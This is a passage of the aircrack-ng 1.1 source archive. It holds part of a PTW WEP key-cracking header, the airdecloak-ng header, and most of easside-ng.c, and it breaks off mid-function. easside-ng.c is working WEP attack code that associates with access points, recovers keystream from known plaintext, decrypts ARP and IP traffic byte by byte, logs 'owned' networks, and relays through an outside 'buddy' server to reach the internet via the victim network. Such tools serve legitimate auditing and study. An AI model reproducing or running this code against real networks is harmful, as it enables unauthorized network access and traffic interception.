PTW_CONTROLSESSIONS 10000 // The maximum possible length of the main key, 13 is the maximum for a 104 bit key #define PTW_KEYHSBYTES 29 // How long the IV is, 3 is the default value for WEP #define PTW_IVBYTES 3 // How many bytes of a keystream we collect, 16 are needed for a 104 bit key #define PTW_KSBYTES 32 // The MAGIC VALUE!! #define PTW_n 256 // distinguish klein and ptw #define NO_KLEIN 0x01 #define NO_PTW 0x02 // We use this to keep track of the outputs of A_i typedef struct { // How often the value b appeard as an output of A_i int votes; uint8_t b; } PTW_tableentry; // A recovered session typedef struct { // The IV used in this session uint8_t iv[PTW_IVBYTES]; // The keystream used in this session uint8_t keystream[PTW_KSBYTES]; // Weight for this session int weight; } PTW_session; // The state of an attack // You should usually never modify these values manually typedef struct { // How many unique packets or IVs have been collected int packets_collected; // Table to check for duplicate IVs uint8_t seen_iv[PTW_IVTABLELEN]; // How many sessions for checking a guessed key have been collected int sessions_collected; // The actual recovered sessions PTW_session sessions[PTW_CONTROLSESSIONS]; // The table with votes for the keybytesums PTW_tableentry table[PTW_KEYHSBYTES][PTW_n]; // Sessions for the original klein attack PTW_session * allsessions; int allsessions_size; } PTW_attackstate; PTW_attackstate * PTW_newattackstate(); void PTW_freeattackstate(PTW_attackstate *); int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *, int *, int); int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int, int *, int [][PTW_n], int attacks); #endif aircrack-ng-1.1/src/airdecloak-ng.h0000644000000000000000000001323511215026345015675 0ustar rootroot#ifndef _AIRUNDEFENSE_H_ #define _AIRUNDEFENSE_H_ #include "pcap.h" #include "common.h" typedef enum {false, true} BOOLEAN; /* typedef enum { CLOAKING_NOT_YET_CHECKED, VALID_FRAME_UNCLOAKED, CLOAKED_FRAME, CLOAKING_STATUS_TBD, // Identical SN DROPPED_FRAME, WEIRD_FRAME_TYPE } CLOAKING_STATUS; */ // How far should we check for cloacked packets (backward and forward) #define PACKET_CHECKING_LENGTH 10 #define DIRECTION_BACKWARD 0 #define DIRECTION_FORWARD 1 #define UKNOWN_FRAME_CLOAKING_STATUS -1 #define VALID_FRAME_UNCLOAKED 0 #define CLOAKED_FRAME 2 #define POTENTIALLY_CLOAKED_FRAME 1 #define DROPPED_FRAME 3 // Weird frames are rejected before being checked atm #define WEIRD_FRAME_TYPE 100 #define FRAME_TYPE_MANAGEMENT 0 #define FRAME_TYPE_CONTROL 1 #define FRAME_TYPE_DATA 2 #define BEACON_FRAME 0x80 #define PROBE_RESPONSE 0x50 #define AUTHENTICATION 0xB0 #define ASSOCIATION_REQUEST 0x00 #define ASSOCIATION_RESPONSE 0x10 #define NULL_FRAME 0x48 #define FILTER_SIGNAL 1 #define FILTER_DUPLICATE_SN 2 #define FILTER_DUPLICATE_SN_AP 3 #define FILTER_DUPLICATE_SN_CLIENT 4 #define FILTER_CONSECUTIVE_SN 5 #define FILTER_DUPLICATE_IV 6 #define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7 #define getBit(pckt, startbit) getBits(pckt, startbit, 1) #define get_iv(packet) ((packet)->iv[0]+((packet)->iv[1] * 256)+((packet)->iv[2] *256*256)) const int PACKET_HEADER_SIZE = sizeof( struct pcap_pkthdr ); struct packet_elt_header { struct packet_elt *first; struct packet_elt *current; struct packet_elt *last; int nb_packets; int average_signal; // Calculate the average signal (for later) // Currently do it on management frames (or control frames); may change in the future. } * _packet_elt_head; struct packet_elt { struct pcap_pkthdr header; /* packet header */ unsigned char *packet; /* packet */ unsigned short length; /* packet length, just to know how much to write to the file */ // A few interesting stuff coming from the packets int fromDS; int toDS; int frame_type; /* MGMT, CTRL, DATA */ int frame_subtype; // Not yet filled but will do unsigned char version_type_subtype; // First byte unsigned char source[6]; unsigned char destination[6]; unsigned char bssid[6]; int sequence_number; int fragment_number; unsigned char iv[3]; unsigned char key_index; unsigned char icv[4]; int signal_quality; int retry_bit; int more_fragments_bit; //int packet_number; /* packet number */ int is_cloaked; int is_dropped; // Do we have to drop this frame? int complete; // 0: no, 1: yes struct packet_elt * next; struct packet_elt * prev; }; // Not already used (partially maybe) struct decloak_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_filt_wep; /* # of filtered WEP pkt */ unsigned long nb_cloak_wep; /* # of cloaked WEP pkt */ }; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern char * mac2string(unsigned char * mac); extern int maccmp(unsigned char *mac1, unsigned char *mac2); void usage(); int getBits(unsigned char b, int from, int length); FILE * openfile(const char * filename, const char * mode, int fatal); BOOLEAN write_packet(FILE * file, struct packet_elt * packet); FILE * init_new_pcap(const char * filename); FILE * open_existing_pcap(const char * filename); BOOLEAN read_packets(void); BOOLEAN initialize_linked_list(); BOOLEAN add_node_if_not_complete(); void set_node_complete(); void remove_last_uncomplete_node(); struct packet_elt * getPacketNr(int position); char * iv2string(unsigned char * iv); char * icv2string(unsigned char * icv); void print_packet(struct packet_elt * packet); void reset_current_packet_pointer(); BOOLEAN reset_current_packet_pointer_to_ap_packet(); BOOLEAN reset_current_packet_pointer_to_client_packet(); BOOLEAN next_packet_pointer(); BOOLEAN next_packet_pointer_from_ap(); BOOLEAN next_packet_pointer_from_client(); BOOLEAN prev_packet_pointer(); int compare_SN_to_current_packet(struct packet_elt * packet); BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN write_packets(); BOOLEAN print_statistics(); char * status_format(int status); int get_average_signal_ap(); // Check for cloaking functions BOOLEAN check_for_cloaking(); // Main cloaking check function #define CFC_base_filter() CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); int CFC_mark_all_frames_with_status_to(int original_status, int new_status); int CFC_filter_signal(); int CFC_filter_duplicate_sn_ap(); int CFC_filter_duplicate_sn_client(); int CFC_filter_duplicate_sn(); int CFC_filter_consecutive_sn(); int CFC_filter_consecutive_sn_ap(); int CFC_filter_consecutive_sn_client(); int CFC_filter_duplicate_iv(); int CFC_filter_signal_duplicate_and_consecutive_sn(); /* const char usage[] = "\n" " %s - (C) 2008 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airundefense-ng \n" "\n"; */ #endif aircrack-ng-1.1/src/easside-ng.c0000644000000000000000000014630711355271630015222 0ustar rootroot /* * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __FAVOR_BSD #include #undef __FAVOR_BSD #include "osdep/osdep.h" #include "ieee80211.h" #include "easside.h" #include "if_arp.h" #include "ethernet.h" #include "version.h" #include "osdep/byteorder.h" #define S_MTU 1500 #define S_MCAST "\x01\x00\x5e\x01\x00" #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_PRGA_LOG "prga.log" #define S_OWN_LOG "own.log" #define S_MIN_RTO 10 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); enum { S_SEARCHING = 0, S_SENDAUTH, S_SENDASSOC, S_ASSOCIATED }; enum { AS_NOPRGA = 0, AS_PRGA_EXPAND, AS_FIND_IP, AS_DECRYPT_ARP, AS_DECRYPT_IP, AS_FIND_RTR_MAC, AS_CHECK_INET, AS_REDIRECT }; struct rpacket { unsigned char rp_packet[2048]; int rp_len; int rp_id; struct rpacket *rp_next; }; struct owned { unsigned char ow_mac[6]; struct owned *ow_next; }; struct east_state { /* conf & params */ char es_ifname[256]; unsigned char es_mymac[6]; int es_setmac; int es_iponly; struct wif *es_wi; char es_tapname[16]; struct tif *es_ti; unsigned int es_hopfreq; int es_txto_mgt; int es_txto_expand; int es_expand_factor; int es_txto_decrypt; int es_port; int es_udp_port; int es_txto_whohas; int es_txto_checkinet; int es_txto_redirect; unsigned char es_clear[S_MTU+4]; struct rpacket *es_rqueue; struct owned *es_owned; int es_chanlock; /* state */ unsigned char es_apmac[6]; int es_apchan; char es_apssid[256]; int es_state; struct timeval es_lasthop; int es_txseq; struct timeval es_txlast; unsigned char es_prga[S_MTU+4]; unsigned char *es_clearp; unsigned char *es_clearpnext; int es_prgalen; unsigned char es_iv[3]; int es_expand_num; int es_expand_len; int es_txack; unsigned char es_prga_d[S_MTU+4]; int es_prga_dlen; unsigned char es_prga_div[3]; unsigned char es_packet[2048]; int es_have_packet; int es_have_src; unsigned char es_packet_arp[2048]; int es_have_arp; struct in_addr es_myip; struct in_addr es_rtrip; struct in_addr es_pubip; unsigned char es_rtrmac[6]; struct in_addr es_srvip; int es_buddys; unsigned short es_rpacket_id; struct timeval es_rtt; unsigned short es_rtt_id; int es_srtt; int es_rxseq; int es_astate; }; static struct east_state _es; void printf_time(char *fmt, ...) { va_list ap; struct timeval now; time_t t; struct tm *tm; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); t = time(NULL); if (t == (time_t)-1) err(1, "time()"); tm = localtime(&t); if (!tm) err(1, "localtime()"); printf("[%.2d:%.2d:%.2d.%.6lu] ", tm->tm_hour, tm->tm_min, tm->tm_sec, (long unsigned int)now.tv_usec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } void hexdump(void *x, int len) { unsigned char *p = x; while (len--) printf("%.2X ", *p++); printf("\n"); } void mac2str(char *str, unsigned char* m, int macsize) { snprintf(str, macsize, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", m[0], m[1], m[2], m[3], m[4], m[5]); } int str2mac(unsigned char *mac, char *str) { unsigned int macf[6]; int i; if (sscanf(str, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) return -1; for (i = 0; i < 6; i++) *mac++ = (char) macf[i]; return 0; } void init_defaults(struct east_state *es) { memset(es, 0, sizeof(*es)); memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); es->es_setmac = 0; strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname)-1); es->es_state = S_SEARCHING; es->es_hopfreq = 100; /* ms */ es->es_txto_mgt = 100; /* ms */ es->es_txto_expand = 100; es->es_expand_factor = 3; memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8); es->es_clearpnext = es->es_clearp = es->es_clear; es->es_txto_decrypt = 10; es->es_txto_whohas = 500; es->es_txto_checkinet = 2000; es->es_txto_redirect = 2000; es->es_port = S_DEFAULT_PORT; es->es_udp_port = S_DEFAULT_UDP_PORT; } void reset(struct east_state *es) { int sz; void *ptr; struct rpacket *p; struct owned *ow; FILE *f; char mac[18]; /* close buddy */ close(es->es_buddys); es->es_buddys = 0; /* reset state */ ptr = es->es_apmac; sz = sizeof(*es) - ((unsigned long)ptr - (unsigned long)es); memset(ptr, 0, sz); /* fixup state */ es->es_clearpnext = es->es_clearp = es->es_clear; p = es->es_rqueue; while (p) { p->rp_len = 0; p = p->rp_next; } /* log ownage */ ow = malloc(sizeof(*ow)); if (!ow) err(1, "malloc()"); memset(ow, 0, sizeof(*ow)); memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac)); ow->ow_next = es->es_owned; es->es_owned = ow; f = fopen(S_OWN_LOG, "a"); if (!f) err(1, "fopen()"); mac2str(mac, es->es_apmac, sizeof(mac)); fprintf(f, "%s %d %s %s\n", mac, es->es_apchan, es->es_apssid, inet_ntoa(es->es_pubip)); fclose(f); /* start over */ es->es_state = S_SEARCHING; printf_time("Restarting"); } /********** RIPPED ************/ unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /************** ************/ void open_wifi(struct east_state *es) { struct wif *wi; wi = wi_open(es->es_ifname); if (!wi) err(1, "wi_open()"); assert(es->es_wi == NULL); es->es_wi = wi; } void open_tap(struct east_state *es) { struct tif *ti; char *iface = NULL; if (es->es_tapname[0]) iface = es->es_tapname; ti = ti_open(iface); if (!ti) err(1, "ti_open()"); strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1); es->es_tapname[sizeof(es->es_tapname) - 1] = 0; printf("Setting tap MTU\n"); if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()"); es->es_ti = ti; } void set_mac(struct east_state *es) { printf("Sorting out wifi MAC\n"); if (!es->es_setmac) { char mac[18]; if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()"); mac2str(mac, es->es_mymac, sizeof(mac)); printf("MAC is %s\n", mac); } else if (wi_set_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_set_mac()"); printf("Setting tap MAC\n"); if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()"); } void set_tap_ip(struct east_state *es) { if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()"); } void die(char *m) { struct east_state *es = &_es; printf("Dying: %s\n", m); if (es->es_wi) wi_close(es->es_wi); if (es->es_ti) ti_close(es->es_ti); exit(0); } void sighand(int sig) { if (sig) {} /* XXX unused */ die("signal"); } void set_chan(struct east_state *es) { int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan; if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel"); } void clear_timeout(struct east_state *es) { memset(&es->es_txlast, 0, sizeof(es->es_txlast)); } void read_beacon(struct east_state *es, struct ieee80211_frame *wh, int len) { ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh+1); u_int16_t capa; int bhlen = 12; int got_ssid = 0, got_channel = 0; struct owned *own = es->es_owned; len -= sizeof(*wh) + bhlen; if (len < 0) { printf("Short beacon %d\n", len); return; } if (es->es_state != S_SEARCHING) return; /* only wep */ capa = IEEE80211_BEACON_CAPABILITY(b); if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS))) return; /* lookin for a specific dude */ if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0) { if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return; } /* check if we already owned him */ while (own) { if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return; own = own->ow_next; } /* SSID and channel */ b += bhlen; while (len > 1) { unsigned char ie_len = b[1]; len -= 2 + ie_len; if (len < 0) { printf("Short IE %d %d\n", len, ie_len); return; } switch (b[0]) { case IEEE80211_ELEMID_SSID: if (!got_ssid) { strncpy(es->es_apssid, (char*) &b[2], ie_len); es->es_apssid[ie_len] = 0; if (strlen(es->es_apssid)) got_ssid = 1; } break; case IEEE80211_ELEMID_DSPARMS: if (!got_channel) got_channel = b[2]; break; } if (got_ssid && got_channel) { char str[18]; memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac)); es->es_apchan = got_channel; es->es_state = S_SENDAUTH; mac2str(str, es->es_apmac, sizeof(str)); printf("\nSSID %s Chan %d Mac %s\n", es->es_apssid, es->es_apchan, str); if (!es->es_chanlock) set_chan(es); return; } b += 2 + ie_len; } } int for_me_and_from_ap(struct east_state *es, struct ieee80211_frame *wh) { if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0; if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0; return 1; } void read_auth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDAUTH) return; if (!for_me_and_from_ap(es, wh)) return; if (le16toh(*sp) != 0) { printf("weird auth algo: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 2) { printf("weird auth transno: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 0) { printf("Auth unsuccesful %d\n", le16toh(*sp)); exit(1); } printf("Authenticated\n"); es->es_state = S_SENDASSOC; } int is_dup(struct east_state *es, struct ieee80211_frame *wh) { unsigned short *sn = (unsigned short*) &wh->i_seq[0]; unsigned short s; s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (s == es->es_rxseq) return 1; es->es_rxseq = s; return 0; } void read_deauth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Deauth: %d\n", le16toh(*sp)); es->es_state = S_SENDAUTH; } void read_disassoc(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Disassoc: %d\n", le16toh(*sp)); es->es_state = S_SENDASSOC; } void read_assoc_resp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDASSOC) return; if (!for_me_and_from_ap(es, wh)) return; sp++; /* capa */ /* sc */ if (le16toh(*sp) != 0) { printf("Assoc unsuccessful %d\n", le16toh(*sp)); exit(1); } sp++; printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp))); es->es_state = S_ASSOCIATED; es->es_txack = 0; es->es_expand_num = -1; } void read_mgt(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len < (int) sizeof(*wh)) { printf("Short mgt %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: read_beacon(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_AUTH: read_auth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: break; case IEEE80211_FC0_SUBTYPE_DEAUTH: read_deauth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_DISASSOC: read_disassoc(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: read_assoc_resp(es, wh, len); break; default: printf("Unknown mgmt subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } void read_ack(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len) {} /* XXX unused */ if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return; es->es_txack = 1; // printf("Ack\n"); } void read_ctl(struct east_state *es, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ACK: read_ack(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_RTS: case IEEE80211_FC0_SUBTYPE_CTS: case IEEE80211_FC0_SUBTYPE_PS_POLL: case IEEE80211_FC0_SUBTYPE_CF_END: break; default: printf("Unknown ctl subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } int our_network(struct east_state *es, struct ieee80211_frame *wh) { void *bssid = (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1; return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0; } void xor(void *out, void *clear, void *cipher, int len) { unsigned char *cl = (unsigned char*) clear; unsigned char *ci = (unsigned char*) cipher; unsigned char *o = (unsigned char*) out; while (len--) *o++ = *cl++ ^ *ci++; } void save_prga(struct east_state *es) { int fd, rc; assert(es->es_prgalen <= (int) sizeof(es->es_prga)); printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]", es->es_prgalen, es->es_iv[0], es->es_iv[1], es->es_iv[2]); #if 0 printf(": "); for (i = 0; i < es->es_prgalen; i++) printf("%.2X ", es->es_prga[i]); #endif printf("\n"); fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644); if (fd == -1) err(1, "save_prga: open()"); rc = write(fd, es->es_iv, 3); if (rc != 3) { printf("save_prga: can't write IV\n"); exit(1); } rc = write(fd, es->es_prga, es->es_prgalen); if (rc != es->es_prgalen) { printf("save_prga: can't write PRGA\n"); exit(1); } close(fd); } int is_arp(struct ieee80211_frame *wh, int len) { int arpsize = 8 + sizeof(struct arphdr) + 10*2; if (wh) {} /* XXX unused */ if (len == arpsize || len == 54) return 1; return 0; } void *get_sa(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr3; else return wh->i_addr2; } void *get_da(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr1; else return wh->i_addr3; } int known_clear(void *clear, struct ieee80211_frame *wh, int len) { unsigned char *ptr = clear; /* IP */ if (!is_arp(wh, len)) { unsigned short iplen = htons(len - 8); printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; memcpy(ptr, &iplen, len); ptr += len; #endif len = ptr - ((unsigned char*)clear); return len; } printf("Assuming ARP %d\n", len); /* arp */ len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); return len; } void base_prga(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ct[1024]; unsigned char *data = (unsigned char*) (wh+1); int prgalen; memcpy(es->es_iv, data, 3); data += 4; len -= 4 + 4; /* IV & CRC */ if (len <= 0) { printf("base_prga: lame len %d\n", len); return; } prgalen = known_clear(ct, wh, len); xor(es->es_prga, ct, data, prgalen); es->es_prgalen = prgalen; save_prga(es); } unsigned int get_crc32(void *data, int len) { uLong crc; crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, data, len); return crc; } void check_expand(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; unsigned long crc; unsigned char *data = (unsigned char*) (wh+1); if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return; if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return; if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return; elen = es->es_expand_len; if (elen != (len-4)) return; if (elen <= es->es_prgalen) return; /* iv */ memcpy(es->es_iv, data, 3); data += 4; elen -= 4; /* payload */ assert(elen <= (int) sizeof(es->es_clear)); es->es_prgalen = elen + 4; xor(es->es_prga, es->es_clear, data, elen); /* crc */ crc = htole32(get_crc32(es->es_clear, elen)); xor(&es->es_prga[elen], &crc, data + elen, 4); save_prga(es); if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; } int to_me(struct east_state *es, struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && memcmp(es->es_mymac, get_da(wh), 6) == 0; } int from_me(struct east_state *es, struct ieee80211_frame *wh) { return memcmp(es->es_mymac, get_sa(wh), 6) == 0; } int check_decrypt(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; if (!from_me(es, wh)) return 0; if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0; elen = es->es_prga_dlen + 1; if (elen != (len - 4)) return 0; es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5]; #if 0 printf("\nPrga byte %d is %.2X\n", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); #endif es->es_prga_dlen++; assert(es->es_prga_dlen <= (int) sizeof(es->es_prga_d)); return 1; } void decrypt_ip_addr(struct east_state *es, void *dst, int *len, void *cipher, int off) { unsigned char *c = cipher; *len = es->es_prga_dlen - off; if (*len > 4) *len = 4; assert(*len > 0); xor(dst, c + off, es->es_prga_d + off, *len); } void found_net_addr(struct east_state *es, unsigned char *a) { unsigned char ip[4]; memcpy(ip, a, 3); if (!ip[0]) { printf("Shit, prolly got a lame dhcp dude\n"); exit(1); } ip[3] = 123; memcpy(&es->es_myip, ip, 4); printf("My IP %s\n", inet_ntoa(es->es_myip)); set_tap_ip(es); ip[3] = 1; memcpy(&es->es_rtrip, ip, 4); printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip)); es->es_astate = AS_FIND_RTR_MAC; } void check_decrypt_arp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ip[4]; int iplen; int off = 8 + sizeof(struct arphdr) + 6; unsigned char *data; int i; if (!check_decrypt(es, wh, len)) return; iplen = es->es_prga_dlen - off; assert(iplen > 0 && iplen <= (int) sizeof(ip)); data = (unsigned char*)(((struct ieee80211_frame*)es->es_packet_arp)+1); data += + 4 + off; xor(ip, data, &es->es_prga_d[off], iplen); printf("\nARP IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if ((i+1) < iplen) printf("."); } printf("\n"); if (iplen == 3) found_net_addr(es, ip); } void check_decrypt_ip(struct east_state *es, struct ieee80211_frame *wh, int len) { int off_ip = 8; int off_id = off_ip + 4; int off_ttl = off_id + 4; int off_p = off_ttl + 1; int off_check = off_p + 1; int off_s_addr = off_check + 2; int off_d_addr = off_s_addr + 4; unsigned char *data = es->es_packet + sizeof(*wh) + 4; if (!check_decrypt(es, wh, len)) return; if (es->es_prga_dlen == (off_id+2)) { #if 0 unsigned char *c = data + off_id + 2; #endif printf("\nGot IP ID\n"); #if 0 xor(&es->es_prga_d[es->es_prga_dlen], c, "\x00\x00", 2); es->es_prga_dlen += 2; es->es_prga_d[es->es_prga_dlen] = 0; #endif } else if (es->es_prga_dlen == (off_ttl+1)) { printf("\nGot IP TTL\n"); } else if (es->es_prga_dlen == (off_p+1)) { unsigned char *c = data + off_p; int p = (*c) ^ es->es_prga_d[es->es_prga_dlen-1]; char *str = NULL; switch (p) { case IPPROTO_ICMP: str = "icmp"; break; case IPPROTO_UDP: str = "udp"; break; case IPPROTO_TCP: str = "tcp"; break; default: str = "unknown"; break; } printf("\nGot proto %s\n", str); } else if (es->es_prga_dlen == (off_check+2)) { printf("\nGot checksum [could use to help bforce addr]\n"); } else if ((es->es_prga_dlen >= off_s_addr) && (es->es_prga_dlen <= (off_s_addr+4))) { unsigned char ip[4]; int iplen; int i; decrypt_ip_addr(es, ip, &iplen, data, off_s_addr); printf("\nSource IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if (i+1 < iplen) printf("."); } printf("\n"); if (es->es_have_src && iplen == 3) found_net_addr(es, ip); } else if ((es->es_prga_dlen >= off_d_addr) && (es->es_prga_dlen <= (off_d_addr+4))) { unsigned char dip[4]; struct in_addr sip; int iplen; int i; decrypt_ip_addr(es, &sip, &i, data, off_s_addr); decrypt_ip_addr(es, dip, &iplen, data, off_d_addr); printf("\nIPs so far %s->", inet_ntoa(sip)); for (i = 0; i < iplen; i++) { printf("%d", dip[i]); if (i+1 < iplen) printf("."); } printf("\n"); assert(!es->es_have_src); if (iplen == 3) found_net_addr(es, dip); } else if (es->es_prga_dlen > off_d_addr) abort(); } void setup_internet(struct east_state *es) { struct sockaddr_in s_in; char buf[16]; es->es_astate = AS_CHECK_INET; clear_timeout(es); printf("Trying to connect to buddy: %s:%d\n", inet_ntoa(es->es_srvip), es->es_port); assert(es->es_buddys == 0); es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (es->es_buddys == -1) err(1, "setup_internet: socket()"); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr = es->es_srvip; s_in.sin_port = htons(es->es_port); if (connect(es->es_buddys, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "setup_internet: connect()"); printf("Connected\n"); /* handshake */ if (send(es->es_buddys, "sorbo", 5, 0) != 5) err(1, "setup_internet: send()"); if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()"); if (memcmp(buf, "sorbox", 6) != 0) { printf("setup_internet: handshake failed"); exit(1); } printf("Handshake compl33t\n"); } void check_rtr_mac(struct east_state *es, struct ieee80211_frame *wh, int len) { void *sa; char str[18]; if (!to_me(es, wh)) return; 